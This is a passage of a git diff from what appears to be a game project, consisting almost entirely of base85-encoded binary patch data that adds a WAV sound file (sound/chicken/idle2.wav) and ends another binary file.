z-cE2uo&t2&=&Of_vk@7ANZx$Oc(A$PufN*WO}#;r(5&`}d3BXqu7{ia3Y#!Fnc>jf&z=Y$DbKS~hgJTxF-(kqoT6s^^kg%u1a0M(hV#1w5h`A_E6eHt;ZJ z?ug3)o}y3eP_4`)6rI@Wy*1`QWyp&q#M;&X23R5Xi(`n;|i^_ zRs0Vn*|ylr0n7U6d9oof z8sITFguan63VnI()2WC?)H{g2%Q)k~Lc|Nkv8Q^Du5DfYB8Lc8?DWJR>I``23h>8H z7t~~<+L*1QzB3bOG3hUwNn21@Z)$5B@3dIw$(Tf)=C#bC=a8{OP9iIm_1{1Z`gmX= zw5@1V(J%p*z$ChJc9Fab;+F61{&5eX+&G0x{PU1Esc9v`40G3VZ48*e2NH(pC!SitUd{rXE{C zx+b2aBsF8ph}Q?YXU83Za-f^$K*mE09XeAe0=iGI1dXT<`pq@2dMA~8;bUWO5;Uy# z!DLhzH?Rzwe81Jc47Q0x`Uy)t#xK0)%+cU#wt<1mu{U5&hFk;2dd7^qXoA6Xcm}09 z&ez9AC-03_A?4@CuZc7VW<$>AW?}TD|hmQKaug81*e(zU=C6Ah2YdPa$sm~*n z_lWE6Iiu#%K|Q@+0tNM`^FMPD{v~iORkYc?rsvVipy%|_J*L;j zY0fbU@dS{>hZzTw0umTAj|%YT9X;S+&C$uQ)vL#7p zh@&UmWj~VfW`u2(Kr7r5O7Ir=8Mp*B@=Vwg$*uA`;gT`mG5_&5#=vc_6%=H{VZ$?u zJB$@2k^JFg{AVoj-b?T?@WcDI-lg;oF1u*#LVAB0y*`$K&|Y>n!5UyYY$Mnih+Se^ zDR{TQ*010LJMz>?JzmGcDY-)3@KG!)km77p0SD%7;0;zr(JEUbf@9{lz7IapGFoMe zT<<*kt(+-MJpoA`U(O+O7~(v}oDH3Z6~@u9)p;B}njTf|2i^IxI9sE@k&LY)}}x5?I;^u_eJjRS1JPdAUK4%LsX3;hw=8mSeVZZ7+ zb2#zJ82W7a#JjA(2cyTk4Hf7!IQRgGNF+REZCkA54YN>!oKG2&J40{&o02)zF!uPG zug7oG6;m#7&GZ6l4GlN%%b&=xkhNyursAaQ26LZW}%0FyHbR@gF$KCwky| z;A+M%M!YlbM*Dd;cuvcq5XNYa4E4EO&;;`_+t_d?+GPnLKSw)4I?U^%PCjm*xn1-> z=z7Qxlyi%ClOx>F57Q9Nc}e=lTmx_B^1w)Lc?b;oIW#vM9y`O9DNo2C)XEX9%-a!g z;45x--bOb$nH+`ybs7kq$& z_zY;N;Qa7-TQ;Jd##R|iGROb3CL-)5!|pLWS^1yUpI4RSn`YgLwEd-FD@5Lg)uZj%u#a{PtdM=Ub*x{J-6=s!^A__q4&QNI)MpDz)}_ez ztZG?pvofErb?xUmFQ|RF=9*o*>!()!X9dqnm{m9HU>`i0AC5ifxPz_(o9_iWcn=4b zdsunI071|cppOsGWz3B` z+(WiD?F*S1{%V>L)HLpdADSsCv^Oxrxa{`?P4Ux~*o|AJDsesR{lLMX@U(=rs;PYN z)8M}FOY>mv1gA3J^&N8&&TgyitKk7&OTh~)O9Xy%1$}~j9_=^lRld1uv;{7R?7)i3 TzO|GJuf*J6(IxPI*rf2kIJhU3 literal 0 HcmV?d00001 diff --git a/Repos/Chicken_Bullets-master/sound/chicken/idle2.wav b/Repos/Chicken_Bullets-master/sound/chicken/idle2.wav new file mode 100644 index 0000000000000000000000000000000000000000..e49bbcb37a28cbcd0cb1a678fd546fa16aa6de1d GIT binary patch literal 94080 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 